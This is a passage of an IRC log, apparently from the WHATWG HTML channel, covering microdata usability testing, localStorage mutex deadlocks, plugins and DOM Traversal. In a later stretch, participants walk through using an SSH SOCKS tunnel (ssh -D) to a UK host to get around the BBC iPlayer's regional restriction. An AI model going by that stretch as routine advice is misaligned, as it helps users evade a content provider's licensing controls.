yeah, I guess a lot of it wouldn't have reasonably been in the page

[02:29:02.0000] <othermaciej>
the only obvious duplication was the title itemprop that was also in a title attribute

[02:29:03.0000] <boblet>
somewhat surprisingly

[02:30:00.0000] <Hixie>
othermaciej: hm, yeah. none of the proposals we're going to be testing have a way around that.

[02:30:01.0000] <Hixie>
othermaciej: if you have an idea to fix that i can try to

[02:30:02.0000] <Hixie>
put it in one of hte variants

[02:30:03.0000] <othermaciej>
do you have a list of the variants posted anywhere?

[02:31:00.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/temp

[02:31:01.0000] <othermaciej>
and out of curiosity, what's the study methodology? will the test subjects be asked to add the annotations using various syntax options??

[02:32:00.0000] <Hixie>
various things, the details are still being worked out, but basically: given some intro material, look at this example, can you describe what the annotations are?

[02:32:01.0000] <Hixie>
given this page, can you add these annotations?

[02:32:02.0000] <hsivonen>
Hixie: will one person be exposed to only one syntax or multiple but in random order per person?

[02:32:03.0000] <jgraham>
Is there just one round of testing?

[02:33:00.0000] <Hixie>
hsivonen: i think each person sees each variant, but we cycle them around so that each one gets seen as the first one an equal number of times

[02:33:01.0000] <Hixie>
jgraham: yeah

[02:34:00.0000] <jgraham>
Hixie: So after the first round can you change the variants to see if some hybrid performs better than the winner from round 1?

[02:34:01.0000] <Micheil_away>
oh look, it's sir hixie

[02:35:00.0000] <Hixie>
jgraham: i doubt we'll have the time

[02:36:00.0000] <jgraham>
Hixie: OK. That's a shame

[02:36:01.0000] <Hixie>
jgraham: eh, we haven't had _any_ testing for the rest of the spec

[02:36:02.0000] <Hixie>
jgraham: so this is an oo% better

[02:37:00.0000] <jgraham>
Right, but given we do have testing in this case, it is a shame that we can't do even better tests. If you see what I mean

[02:38:00.0000] <Philip`>
Like, the effort being put into it could perhaps be used more efficiently to get better results?

[02:38:01.0000] <othermaciej>
usability testing tends to have diminishing returns

[02:39:00.0000] <Hixie>
jgraham: if we had the resources to do more testing, i'd rather we did it on something else, like table summaries, or whatnot

[02:39:01.0000] <Hixie>
jgraham: since as othermaciej says, the benefit you get from 0 to 1 units of testing is FAR more than the benefit you get from 1 to 2 units of testing

[02:40:00.0000] <jgraham>
I agree that the resources would likely be better spent on another part of the spec. But that's often not the way these things work

[02:40:01.0000] <hsivonen>
did Microsoft ever have an IE8 beta that added transaction methods to localStorage?

[02:41:00.0000] <hsivonen>
what were the unprefixed MS extensions that Hixie complained about?

[02:42:00.0000] <othermaciej>
I recall something like that

[02:42:01.0000] <othermaciej>
can't remember the name of the extension or the subject line

[02:44:00.0000] <hsivonen>
http://lists.w3.org/Archives/Public/public-html/2008Jun/0249.html

[02:46:00.0000] <Hixie>
hsivonen: those methods don't do what one might think they do, iirc

[02:47:00.0000] <hsivonen>
Hixie: maybe, but it sucks that MS proposed making the thing transactional, the proposal was rejected, they shipped and now we find that Chrome and Firefox need them to be transactional, too

[02:47:01.0000] <Hixie>
iirc the transactional api they were proposing wouldn't have solved the problem being discussed here

[02:47:02.0000] <hsivonen>
ok

[02:48:00.0000] <hsivonen>
did they ever mention that IE8 is multiprocess and the specced API would have concurrency issues?

[02:51:00.0000] <othermaciej>
they never suggested that as a reason for the begin/commit methods

[02:51:01.0000] <hsivonen>
ok

[02:51:02.0000] <Hixie>
also their api was a design disaster

[02:51:03.0000] <hsivonen>
it strange that they didn't

[02:51:04.0000] <othermaciej>
they said it was based on analysis of author requirements

[02:52:00.0000] <boblet>
later all

[02:58:00.0000] <Hixie>
http://lists.w3.org/Archives/Public/public-html-comments/2008Mar/0015.html

[02:58:01.0000] <Hixie>
is their original e-mail

[03:00:00.0000] <Hixie>
their solution basically is the same as what the spec says now

[03:00:01.0000] <Hixie>
except that the spec implies the call to begin() on the first set, and implies the call to commit() when the script ends

[03:00:02.0000] <Hixie>
s/set/access/

[03:01:00.0000] <Hixie>
and except that they don't solve the problem of two gets not changing in mid-execution

[03:04:00.0000] <Micheil>
wow.. the w3c expects heaps in fees to be a member..

[03:05:00.0000] <Micheil>
oh.. wait, I only found the organization fees.. >_>

[03:05:01.0000] <Hixie>
there's no individual membership plan for the w3c

[03:05:02.0000] <aboodman>
roc: can you provide a pointer to where hixie says that the storage mutex breaks with sync script calls across origins?

[03:05:03.0000] <Hixie>
Micheil: only organisations can join

[03:05:04.0000] <Micheil>
Hixie: http://www.w3.org/Consortium/membership-faq#individual

[03:05:05.0000] <Micheil>
I read yes.. plus a bit more

[03:06:00.0000] <roc>
aboodman: yeah

[03:06:01.0000] <Hixie>
well, if you have $60k a year, i guess :-)

[03:06:02.0000] <Hixie>
Micheil: you can join the whatwg or the htmlwg to participate in html5 without cost, though

[03:06:03.0000] <Hixie>
Micheil: if you are just interested in html5

[03:06:04.0000] <roc>
aboodman: btw can you get the GMail people to add a feature that links to a Web archive version of a Gmail message? thanks

[03:06:05.0000] <aboodman>
roc, actually i'll just code it up righ tnow

[03:07:00.0000] <aboodman>
roc: if you have the subject line that also works

[03:07:01.0000] <Micheil>
Hixie: well I mean, I wouldn't mind "donating" money to the w3c in the membership style basis, eg, AWIA membership costs 20$ per year (for student), which would be good as a contribution to the w3c's projects

[03:08:00.0000] <Micheil>
Hixie: I'm not heavily interested in the writing and production of the specs, but I would like to help support them

[03:08:01.0000] <Hixie>
Micheil: if you think the w3c would spend your money wisely, sure :-)

[03:08:02.0000] <Micheil>
Hixie: I'm guessing ;P

[03:09:00.0000] <roc>
aboodman: http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-March/018991.html

[03:09:01.0000] <aboodman>
roc: thx

[03:09:02.0000] <Micheil>
Hixie: actually, who funds a lot of the costs of running whatwg.org?

[03:10:00.0000] <Hixie>
Micheil: me (out of pocket)

[03:10:01.0000] <Micheil>
Hixie: hmm.. 

[03:10:02.0000] <Hixie>
it's not much, it's just part of my hosting plan at dreamhost, where i have a whole bunch of domains and stuff hosted

[03:11:00.0000] <hsivonen>
Hixie: do you have enough referrals to keep your Dreamhost plan free?

[03:12:00.0000] <Hixie>
hsivonen: not since i started using a private virtual server

[03:12:01.0000] <Hixie>
but i haven't pushed referrals

[03:13:00.0000] <aboodman>
jorlow: ping?

[03:19:00.0000] <Micheil>
hmm.. I wonder why firefox like's hanging whenever I view the html5 spec

[03:20:00.0000] <Hixie>
Micheil: use http://whatwg.org/html5 -- it's a multipge version that firefox can handle better

[03:20:01.0000] <hsivonen>
Micheil: the script runs to completion and Gecko's JS-to-DOM boundary is slow

[03:20:02.0000] <Micheil>
hmm..

[03:20:03.0000] <jorlow>
aboodman: ping

[03:21:00.0000] <Micheil>
/me is just cross checking his little experiment in html5 with what the docs / spec say

[03:22:00.0000] <hsivonen>
Micheil: also, the spec uses abnormally complex selectors, so Firefox spends a lot of time doing selector matching

[03:22:01.0000] <jorlow>
er...pong  :-)

[03:22:02.0000] <Micheil>
:/

[03:22:03.0000] <aboodman>
jorlow: i'm curious how per-origin mutexes can work in chrome

[03:23:00.0000] <Micheil>
hsivonen: I might have a look at the js and see if I can see ways to make it faster

[03:23:01.0000] <aboodman>
per hixie's message at the bottom of: http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-March/018991.html

[03:23:02.0000] <aboodman>
it seems like that applies to chrome

[03:23:03.0000] <hsivonen>
Micheil: the spec is essentially one of Hixie's evil test cases

[03:23:04.0000] <gsnedders>
Micheil: Plenty alredy have :)

[03:23:05.0000] <Micheil>
hmm..

[03:23:06.0000] <hsivonen>
Micheil: you could make it walk the DOM in pieces and pump the DOM walker from timeouts

[03:24:00.0000] <Hixie>
i thought i already did that

[03:24:01.0000] <jorlow>
aboodman: we do only have one feature that uses locks

[03:24:02.0000] <gsnedders>
/me thinks the correct solution is to get Firefox to have a quicker JS to DOM impl

[03:24:03.0000] <aboodman>
yes, but there are multiple locks, right? one per-origin.

[03:24:04.0000] <jorlow>
and everythign else that could deadlock chrome is already in the spec as things that implicilty release the lock

[03:24:05.0000] <jorlow>
aboodman: yeah

[03:25:00.0000] <Hixie>
aboodman: you can do it, it just requires joing the locks in an ungodly number of cases. i think i described it somewhere, or roc did.

[03:25:01.0000] <aboodman>
if I find something that synchronously executes javascript across iframes, i win the deadlock prize, right?

[03:25:02.0000] <jorlow>
aboodman: yes

[03:25:03.0000] <Micheil>
Hixie: it seems slow even when loading it with javascript disabled

[03:25:04.0000] <hsivonen>
gsnedders: "fast track DOM" is being worked on

[03:26:00.0000] <aboodman>
resizing an iframe element synchronously fires window.onresize in the iframe content document

[03:26:01.0000] <Hixie>
Micheil: then it's just slow loading the html. http://whatwg.org/html5 is a smaller file that loads quicker.

[03:26:02.0000] <roc>
aboodman: really? that seems daft

[03:26:03.0000] <roc>
it should be asynchronous

[03:26:04.0000] <aboodman>
i am sure there are others

[03:27:00.0000] <aboodman>
nobody ever thought this would be an issue before

[03:27:01.0000] <Micheil>
uhh.. I hate to mention it Hixie, but that js looks rather nasty

[03:27:02.0000] <jorlow>
aboodman: hopefully not

[03:27:03.0000] <Hixie>
Micheil: nasty how?

[03:27:04.0000] <jorlow>
even without considering mutexes, anything that's sync is bad for amny other reasons

[03:28:00.0000] <roc>
you kind of want to do cross-process IFRAMEs at some point

[03:28:01.0000] <Micheil>
well, just the brutal way you're using to include extra scripts: surely you could just place them at the bottom of the file, if you were worried about blocking script loads?

[03:28:02.0000] <aboodman>
cross-process iframes are hard for a lot of reasons. it probably can't be done without breaking compat.

[03:28:03.0000] <Hixie>
Micheil: the way the specs are generated, i can't modify anything after the table of contents

[03:28:04.0000] <Hixie>
Micheil: it's a complicated thing

[03:28:05.0000] <Micheil>
uh, righteo

[03:29:00.0000] <jorlow>
aboodman: just cc'ed you on the code review for adding locking  :-/

[03:29:01.0000] <Hixie>
it's what i get for having one source file that generates 7 specs automaticaly

[03:29:02.0000] <jorlow>
you may be right tho....this might be deadlock prone  :-/

[03:29:03.0000] <aboodman>
jorlow: my comment is: this is lame, we should make the api asynchronous.

[03:29:04.0000] <aboodman>
:)

[03:29:05.0000] <jorlow>
aboodman: agreed!!!!

[03:29:06.0000] <jorlow>
chrome is not goign to implement a global lock for localStorage though

[03:29:07.0000] <Hixie>
i'm pretty sure a naive per-origin lock will cause deadlocks

[03:29:08.0000] <Hixie>
but i forget why

[03:29:09.0000] <jorlow>
so hopefully we can make the per-origin thing work or (better yet) something async

[03:30:00.0000] <jorlow>
Hixie: did it have to do with onscroll?

[03:30:01.0000] <Hixie>
no

[03:30:02.0000] <aboodman>
oh yeah, onscroll might be another.

[03:30:03.0000] <Hixie>
nothing to do with weird cases like onscroll and onresize

[03:30:04.0000] <roc>
onscroll is already asynchronous in Gecko

[03:30:05.0000] <Hixie>
oh, it might have had to do with document.domain

[03:30:06.0000] <jorlow>
i think it's OK to say that releases the locks

[03:31:00.0000] <Hixie>
if you grab the lock from two different domains, then they both set document.domain to be the same domain, then call each other

[03:31:01.0000] <roc>
sure, but let's just make document.domain release the storage mutex

[03:31:02.0000] <Hixie>
or something

[03:31:03.0000] <Hixie>
oh we could do that, true

[03:31:04.0000] <aboodman>
if a bunch of things implicitly release the storage mutex, doesn't that lead to odd behavior?

[03:31:05.0000] <aboodman>
in edge cases

[03:31:06.0000] <Hixie>
yes

[03:31:07.0000] <roc>
I actually want to make onscroll synchronous again, but scrolling to anchors doesn't need to be synchronous anyway

[03:32:00.0000] <roc>
yes, we want to minimize the number of those things

[03:32:01.0000] <Hixie>
scrolling to anchors is explicitly async in html5

[03:32:02.0000] <Hixie>
i'd be almost ok with just making each JS statement release the mutex, frankly

[03:32:03.0000] <Hixie>
well, no

[03:32:04.0000] <roc>
I'm not

[03:32:05.0000] <Hixie>
it'd have to be a block

[03:32:06.0000] <lazni>
I can't checkout the python build file, svn says 'Could not open the requested SVN filesystem'

[03:32:07.0000] <Hixie>
at least

[03:33:00.0000] <Hixie>
but anyway, not gonna spec that

[03:33:01.0000] <Hixie>
so that's academic

[03:33:02.0000] <roc>
I don't want things that should be semantics-preserving transformations to suddenly have bizarre untestable side effects

[03:33:03.0000] <Hixie>
indeed

[03:33:04.0000] <jorlow>
personally, i think we have plenty of 'bizarre untestable side effects'

[03:34:00.0000] <jorlow>
especially plugins calling into your page

[03:34:01.0000] <jorlow>
since there's no way to know when that's goign to ahppen

[03:34:02.0000] <jorlow>
or has happened

[03:34:03.0000] <roc>
you loaded the plugin

[03:34:04.0000] <jorlow>
yes, but it's far from deterministic

[03:34:05.0000] <roc>
sure

[03:34:06.0000] <Hixie>
i'm happy to make plugins as much of a pain as possible

[03:35:00.0000] <roc>
but at least you opted into some badness

[03:35:01.0000] <jorlow>
and i think it essentially means that you can't depend on run to completion of local storage if you use ANY plugin

[03:35:02.0000] <jorlow>
since you don't control that code

[03:35:03.0000] <roc>
when can plugins can call into your page?

[03:35:04.0000] <jorlow>
don't know, but it's in the spec

[03:35:05.0000] <roc>
only during an NPAPI call or when your own script isn't running, I hope

[03:35:06.0000] <Hixie>
a plugin could also screw up your DOM

[03:36:00.0000] <Hixie>
so i guess you can't depend on that either?

[03:36:01.0000] <jorlow>
"Whenever a script calls into a plugin, and whenever a plugin calls into a script, the user agent must release the storage mutex."

[03:36:02.0000] <jorlow>
Hixie: is it possible to spec that plugins can't do anything while a script is running?

[03:37:00.0000] <Hixie>
anything is possible, since the spec doesn't say what the plugin api is

[03:37:01.0000] <jorlow>
is it practical

[03:37:02.0000] <jorlow>
i have no idea

[03:37:03.0000] <aboodman>
jorlow: nope. it is valid (imo) for a plugin to call js re-entrantly (is that a word?)

[03:37:04.0000] <aboodman>
example:

[03:38:00.0000] <aboodman>
google.gears.database.synchronousTransaction(function(tx) { ... });

[03:38:01.0000] <aboodman>
that should be allowed.

[03:38:02.0000] <roc>
gears is an NPAPI plugin?

[03:38:03.0000] <aboodman>
yes, among other things

[03:39:00.0000] <roc>
I don't see why the spec has to define what Gears is allowed to do

[03:39:01.0000] <aboodman>
nevermind, this is off in the weeds.

[03:40:00.0000] <jorlow>
aboodman: but we're initiating it

[03:40:01.0000] <jorlow>
so it is determinisitc

[03:40:02.0000] <jorlow>
we == the script

[03:40:03.0000] <aboodman>
i don't follow

[03:41:00.0000] <jorlow>
the script is calling google.gears.database.sync.... right?  so that's what causes the lock to get dropped

[03:41:01.0000] <jorlow>
so the web developer knows it's going to get dropped

[03:41:02.0000] <Hixie>
jorlow is worried about plugin apis that enable plugins to asynchronously call into script while script is running

[03:41:03.0000] <Hixie>
i don't know if any such apis exist

[03:41:04.0000] <aboodman>
oh

[03:41:05.0000] <aboodman>
well Gears has gears.timer

[03:42:00.0000] <jorlow>
my concern is if I say "plugin, do something" but the plugin waits to change state until an undeterministic time

[03:42:01.0000] <roc>
but that can't interrupt a running script

[03:42:02.0000] <roc>
that wouldn't be implementable in Gecko

[03:42:03.0000] <aboodman>
also gears.location, which fires every so often as the location changes

[03:42:04.0000] <Hixie>
aboodman: yeah but those are all separate events, right?

[03:42:05.0000] <jorlow>
but, once again, not during script execution...right?

[03:42:06.0000] <Hixie>
aboodman: so the mutex is already released by that point

[03:43:00.0000] <roc>
the things that would worry me are when we call into the plugin due to layout or plugin instantiation, which can happen unexpectedly (but synchronously) during script execution

[03:43:01.0000] <Hixie>
i guess you could be in trouble if a plugin has its tentacles in multiple origins and intentionally waits for one to call it before returning in another

[03:43:02.0000] <aboodman>
they all post messages to the browser's event loop

[03:43:03.0000] <aboodman>
if that is what you mean

[03:43:04.0000] <Hixie>
but that seems extreme

[03:43:05.0000] <Hixie>
(and won't be a problem since we release the mutex in those cases)

[03:44:00.0000] <jorlow>
aboodman: it is what i mean

[03:44:01.0000] <jorlow>
Hixie: that does still seem like a problem

[03:44:02.0000] <Hixie>
what does?

[03:44:03.0000] <aboodman>
jorlow: i think that is the only sensible behavior, since otherwise you'd be accessing the dom/js from multiple threads.

[03:44:04.0000] <jorlow>
"Hixie: i guess you could be in trouble if a plugin has its tentacles in multiple origins and intentionally waits for one to call it before returning in another"

[03:44:05.0000] <aboodman>
so i suspose this is how all plugins behave.

[03:45:00.0000] <Hixie>
jorlow: yeah but that's not a problem if that always releases the mutex

[03:45:01.0000] <jorlow>
yeah...so I'm wondering if the language should just be "Whenever a script calls into a plugin the user agent must release the storage mutex."

[03:45:02.0000] <Hixie>
for npapi that may be enough, yeah

[03:46:00.0000] <jorlow>
things that trigger layout still could be an issue

[03:46:01.0000] <jorlow>
but at least it's determinisitc

[03:46:02.0000] <jorlow>
ok...time for dinner

[03:46:03.0000] <jorlow>
later guys

[03:46:04.0000] <aboodman>
late

[03:47:00.0000] <roc>
hmm, is he in Sydney?

[03:47:01.0000] <aboodman>
tokyo

[04:13:00.0000] <annevk3>
/me likes Lachy's UI suggestion for <input type=date> and all

[04:13:01.0000] <annevk3>
/me hopes someone implements it

[04:15:00.0000] <Lachy>
annevk3, I'll file a bug and see if we can get it implemented one day

[04:19:00.0000] <Hixie>
i wish iTunes would consider different seasons of the same show to be the same show

[04:20:00.0000] <Hixie>
so that i would select a show, then an episode or a season, not have to wade through seasons of other shows looking for the show i want

[04:38:00.0000] <annevk3>
I wish downloading shows was possible in the Netherlands

[04:38:01.0000] <annevk3>
well, legally that is

[04:40:00.0000] <Hixie>
i wish the bbc would make their shows available too

[04:40:01.0000] <Lachy>
annevk3, that's the same problem in lots of countries in the world. One day the entertainment industry will learn that the lack of legal alternative is a major cause of piracy, and that it's their own fault.

[04:40:02.0000] <Hixie>
i so desperately want to watch Have I Got News For You

[04:40:03.0000] <Lachy>
Hixie, I haven't heard of that show. Is it available on BBC iPlayer?

[04:40:04.0000] <Hixie>
in the uk, yeah

[04:40:05.0000] <Hixie>
it's a political comedy show

[04:41:00.0000] <Hixie>
i hate that the BBC won't sell me their shows

[04:41:01.0000] <Hixie>
even Top Gear is only available on iTunes after BBC America (a) cuts bits out and (b) airs it on cable TV

[04:41:02.0000] <Hixie>
they're showing season 7 now, so that's what's being added to itunes

[04:42:00.0000] <Lachy>
I don't see it in the iPlayer now. Maybe it's currently not available

[04:42:01.0000] <Hixie>
nevermind that bbc is up to season 13 and bbc america already put seasons 10-12 on itunes

[04:42:02.0000] <hsivonen>
/me had thought the Have I Got News For You format was Irish

[04:42:03.0000] <annevk3>
I was once advised by a guy from the BBC to use torrents to get their shows after I complained how they were not available

[04:42:04.0000] <Hixie>
annevk3: !

[04:42:05.0000] <Lachy>
Hixie, you could do what I do and get a subscription to a VPN service and bypass their regional restrictions

[04:43:00.0000] <Hixie>
Lachy: i want to download the shows to watch at my pleasure, not watch them through a frustrating flash-based player

[04:43:01.0000] <Phae>
HIGNFY is older than 7 days now, so it's not available, btw, rather than regionally restricted.

[04:43:02.0000] <Phae>
at the mo'

[04:43:03.0000] <Hixie>
Phae: that makes even less sense

[04:44:00.0000] <Phae>
just sayin', so you Lachy knew which.

[04:44:01.0000] <Phae>
-you.

[04:44:02.0000] <jgraham>
(it is also regionally restricted)

[04:44:03.0000] <Phae>
yes.

[04:44:04.0000] <Lachy>
the BBC iPlayer does let you download them using their Adobe Air based application, but they're DRM encumbered and expire after a short period

[04:44:05.0000] <Hixie>
Lachy: btw, if i have a unix box in the UK, is there some sane way to do port forwarding without buying a vpn service?

[04:44:06.0000] <Phae>
but since he's going around that restriction..

[04:44:07.0000] <jgraham>
Hixie: SSH

[04:44:08.0000] <Lachy>
Hixie, try SSH tunnelling

[04:44:09.0000] <Hixie>
that requires knowing the endpoint

[04:44:10.0000] <Hixie>
which is non-trivial for the iplayer

[04:45:00.0000] <Lachy>
no it doesn't.

[04:45:01.0000] <Hixie>
i'd have to fake dns and all kinds of stuff

[04:45:02.0000] <Hixie>
no?

[04:45:03.0000] <jgraham>
ssh -D {something} should let you use the remote box as a socks proxy

[04:45:04.0000] <Hixie>
oooh, socks proxy

[04:45:05.0000] <Lachy>
yeah

[04:45:06.0000] <Hixie>
didn't know about that

[04:45:07.0000] <Hixie>
well hey hey

[04:45:08.0000] <gsnedders>
You could just use a HTTP proxy and download the non-DRM iPhone copies

[04:45:09.0000] <Hixie>
let's see if that works

[04:45:10.0000] <Lachy>
that's what I did when I streamed the olympics stuff from the NBC last year

[04:45:11.0000] <jgraham>
/me doesn't know how to do a proper tunnel but does know that

[04:46:00.0000] <Hixie>
what's a good tv show that's region restricted these days

[04:46:01.0000] <gsnedders>
Hixie: Most sports coverage

[04:46:02.0000] <Hixie>
"good" :-P

[04:46:03.0000] <gsnedders>
Hixie: Some is :P

[04:47:00.0000] <Hixie>
aha, top gear

[04:47:01.0000] <Lachy>
top gear isn't available any more

[04:47:02.0000] <Lachy>
oh, some eps are

[04:47:03.0000] <Phae>
i thought top gear got aired on US TV? although i aassume rather late.

[04:48:00.0000] <hsivonen>
/me needs some kind of VPNs for dummies for setting up a tunnel between two Linksys RVS4000 boxes

[04:48:01.0000] <Hixie>
http://www.bbc.co.uk/iplayer/episode/b00lkmth/Top_Gear_Series_13_Episode_2/ is region-limited

[04:48:02.0000] <Hixie>
i have that episode alreayd

[04:48:03.0000] <Hixie>
i just want to test it

[04:51:00.0000] <Hixie>
sweet!!!!

[04:51:01.0000] <Hixie>
oh yes!

[04:51:02.0000] <Hixie>
how did i not know about -D before!

[04:52:00.0000] <gsnedders>
ssh -D {something} where something is what?

[04:52:01.0000] <Hixie>
a port

[04:52:02.0000] <gsnedders>
A UK based sshd?

[04:52:03.0000] <Hixie>
8888 e.g.

[04:52:04.0000] <Hixie>
ssh -D 8888 ukhost.example.com

[04:52:05.0000] <Hixie>
then you set your browser to use localhost:8888 as a socks5 proxy

[04:52:06.0000] <Hixie>
and away you go

[04:52:07.0000] <gsnedders>
Ah

[04:53:00.0000] <jgraham>
(I believe there are also wrapper tools you can use to make a browser use a SOCKS proxy even if it doesn't have built in support for it)

[04:58:00.0000] <annevk3>
hsivonen, did someone already file a bug that the selected profile is reset in the UI after validating?

[04:59:00.0000] <hsivonen>
annevk3: no

[05:00:00.0000] <annevk3>
hsivonen, I don't have an account so if you can ta :)

[05:02:00.0000] <hsivonen>
annevk3: ok. thanks

[05:45:00.0000] <Hixie>
/me sets up a proxy-to-uk.sh script that does all the changing of hte proxy settings, setting up the tunnel, etc, automatically

[05:51:00.0000] <annevk3>
/me prefers Range to be fixed first :)

[05:52:00.0000] <Hixie>
range would be more work

[05:52:01.0000] <Hixie>
i'd rather not have him run away because he bit off more than he can chew

[05:53:00.0000] <annevk3>
fair enough, but Traversal is something we should probably not have implemented at all...

[05:53:01.0000] <annevk3>
it's a Java-centric API not at all great for the Web

[05:53:02.0000] <Hixie>
what would you prefer?

[05:55:00.0000] <annevk3>
not having it at all

[05:55:01.0000] <Hixie>
raw DOM is worse than traversal

[05:56:00.0000] <annevk3>
not with previousElementSibling and all

[05:57:00.0000] <Hixie>
how do i walk just the section elements and their headings?

[05:57:01.0000] <annevk3>
by writing your own iterator with a filter on top?

[05:58:00.0000] <annevk3>
dom traversal is mighty bloated; John Resig wrote a good post on that

[05:59:00.0000] <hsivonen>
Browsers basically implement Traversal for Acid3

[05:59:01.0000] <annevk3>
it's almost like the last of the parsing quirks :p

[06:00:00.0000] <hsivonen>
/me wonders how many Web developers have the patience to learn the traversal interfaces instead of doing their own filtering on top of DOM Core

[06:02:00.0000] <Lachy>
one thing that would have made traversing the DOM significantly easier is if element.childNodes had an easy way to filter out what was returned

[06:03:00.0000] <Lachy>
but element.querySelectorAll(":scope>*"); will largely address that

[06:06:00.0000] <Hixie>
hsivonen: i don't think anyone actually implemented all of traversal just for acid3, they all had code to some extent or another already there iirc

[06:06:01.0000] <hsivonen>
If Shelley's assertion about the non-removability of CC RDF is true, am I barred from distributing prints of SVG clip art that comes with CC metadata?

[06:07:00.0000] <hsivonen>
Hixie: there was Traversal work done in Gecko only because of Acid3

[06:07:01.0000] <Hixie>
oh there was work done, for sure

[06:07:02.0000] <hsivonen>
Hixie: Traversal seemed like a good thing once, but now it's more like a point on a checklist

[06:09:00.0000] <annevk3>
it was a point on a checklist (DOM specs to support), now it seems a bit of a maintenance burden

[06:09:01.0000] <annevk3>
imo

[06:13:00.0000] <Hixie>
http://damowmow.com/playground/microdata/001/introduction

[06:13:01.0000] <Lachy>
hsivonen, I doubt the removal of the CC RDF metadata is forbidden. As long as the actual requirements of the licence are met. I don't think the technology chosen to express that licence is enforcable.

[06:14:00.0000] <Lachy>
An author could just as well express the licence conditions in a <!-- comment -->

[06:17:00.0000] <annevk3>
Hixie, in syntax it does not explain the name/value pairs are nested inside the <div item>

[06:17:01.0000] <Hixie>
yeah i'm doing that now

[06:17:02.0000] <Hixie>
and subject=""

[06:17:03.0000] <ttepass->
?Microdata allows you to mark parts of a web page as machine-readable, named data, building a list of name-value-pairs, so that? etc.? ? ?on the top of webpages? sounds a little bit like angels on an pin.

[06:17:04.0000] <hsivonen>
"You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform."

[06:17:05.0000] <hsivonen>
"keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing"

[06:18:00.0000] <hsivonen>
I'd argue that RDF/XML is not reasonable for the text/html medium.

[06:18:01.0000] <annevk3>
Hixie, syntax/examples will be different for each of the three microdata thingies?

[06:18:02.0000] <Hixie>
yes

[06:18:03.0000] <hsivonen>
I'd also argue that RDF triples aren't a "notice"

[06:18:04.0000] <hsivonen>
but IANAL, of course

[06:18:05.0000] <Hixie>
ttepass-: a lot of microdata/rdfa/microformats/rdf/etc are angels on a pin

[06:19:00.0000] <hsivonen>
it would be a huge bug in the CC licenses if use on media that doesn't support RDF/XML were prohibited

[06:20:00.0000] <ttepass->
(Depends on the viewpoint, of course) My point is more that ?to layer lists on top of a page? is rather distant from the viewpoint of web authors while ?marking things up? is more intuitive.

[06:21:00.0000] <annevk3>
http://code.google.com/p/pywebsocket/ cool

[06:21:01.0000] <Hixie>
ttepass-: not sure what "marking things up" means

[06:22:00.0000] <Hixie>
in this context

[06:23:00.0000] <ttepass->
I'm not sure, what ?layering on top? in this context means.

[06:23:01.0000] <Hixie>
ah :-)

[06:23:02.0000] <Hixie>
it means that you have your HTML file

[06:24:00.0000] <Hixie>
and if you imagine it as a printed sheet of paper

[06:24:01.0000] <Hixie>
you then layer a transparency with the additional data on top of the paper

[06:24:02.0000] <Hixie>
so that it doesn't affect either the paper, not the transparency

[06:24:03.0000] <ttepass->
Ok, that's a metaphor.

[06:25:00.0000] <ttepass->
But ... isn't Microdata with its DOM API a part of the DOM tree?

[06:27:00.0000] <ttepass->
Hm. Arguing over language an metaphors is not really productive. Feel free to ignore me. ;)

[06:28:00.0000] <Hixie>
well it's part of the document, sure

[06:28:01.0000] <Hixie>
i mean it uses attributes and stuff in the HTML file

[06:28:02.0000] <Hixie>
but it doesn't affect the HTML document's semantics

[06:28:03.0000] <Hixie>
other than adding these separate name-value pairs

[06:28:04.0000] <Hixie>
which are otherwise unrelated to the content

[06:30:00.0000] <ttepass->
There I'd ask what "otherwise unrelated" means since a lot of values will be the textContent of Elements.

[06:31:00.0000] <Hixie>
well like if you say <div item><button itemprop="x" ...></button></div>

[06:31:01.0000] <Hixie>
...it would be wrong to say that the button has itemprop "x"

[06:31:02.0000] <Hixie>
the following would mean the same:

[06:31:03.0000] <Hixie>
<div item><button ...></button><meta itemprop="x" content=""></div>

[06:31:04.0000] <Hixie>
...as far as the microdata goes

[06:32:00.0000] <Hixie>
as in, the transparency isn't printed on top of the paper

[06:32:01.0000] <Hixie>
it's just layered on top

[06:32:02.0000] <Hixie>
anyway

[06:32:03.0000] <Hixie>
5:35am

[06:32:04.0000] <Hixie>
far past bed time

[06:32:05.0000] <ttepass->
Good night.

[06:57:00.0000] <JohnResig>
Lachy: ftp://ftp.mozilla.org/pub/firefox/releases/

[06:58:00.0000] <Lachy>
JohnResig, what about that?

[06:58:01.0000] <JohnResig>
Lachy: you twittered earlier looking for an official 2.0 release

[06:58:02.0000] <Lachy>
no I didn't

[06:58:03.0000] <JohnResig>
huh

[06:58:04.0000] <JohnResig>
lol, I'm going crazy, nevermind

[06:58:05.0000] <Lachy>
ok

[06:59:00.0000] <JohnResig>
ah, apparently it was someone with a very similar username - I follow too many people

[06:59:01.0000] <Lachy>
no worries

[07:01:00.0000] <Lachy>
out of curiosity, who has a nickname similar to mine?

[07:01:01.0000] <JohnResig>
it was someone named 'Lachlan Hardy'

[07:01:02.0000] <Lachy>
oh

[07:01:03.0000] <Lachy>
I know him.

[07:01:04.0000] <JohnResig>
my brain saw that and made a leap :)

[07:09:00.0000] <hsivonen>
Philip`: do you have test cases showing that Google's "RDFa implementation" isn't?

[08:28:00.0000] <hsivonen>
anyone got the URL for the source of this gem? http://junkyard.damowmow.com/339

[08:39:00.0000] <Lachy>
"The SVG is, itself, XML. Doesn't matter how you want to think of it in HTML, it is XML. " -- Shelley Powers

[08:39:01.0000] <Lachy>
*facepalm*

[08:39:02.0000] <Lachy>
that's like arguing that HTML with XHTML-like talismans is XHTML

[08:39:03.0000] <TabAtkins>
hsivonen: I think it ws puysl.com

[08:39:04.0000] <TabAtkins>
It doesn't seem to be attested any more, but it *does* lock Firefox.

[08:40:00.0000] <TabAtkins>
(thus why I dropped from the room)

[08:40:01.0000] <miketaylr>
and it does start HORRIBLE music

[08:41:00.0000] <TabAtkins>
/me wonders why they even bother with CSS when they're just going to use <font> everywhere anyway.

[08:42:00.0000] <annevk3>
Lachy, it's pretty common to confuse language and syntax

[08:42:01.0000] <Lachy>
I wish Shelley would understand that the text/html serialisation of SVG is a distinct, non-XML format, just like HTML is a distinct non-XML format from XHTML

[09:07:00.0000] <erlehmann>
hsivonen, i learnt DOM traversal. then i encountered the shiny new selector stuff :>

[09:08:00.0000] <TabAtkins>
Heh, I never learned proper DOM traversal.  I just avoided javascript until jQuery got popular.  ^_^

[09:14:00.0000] <erlehmann>
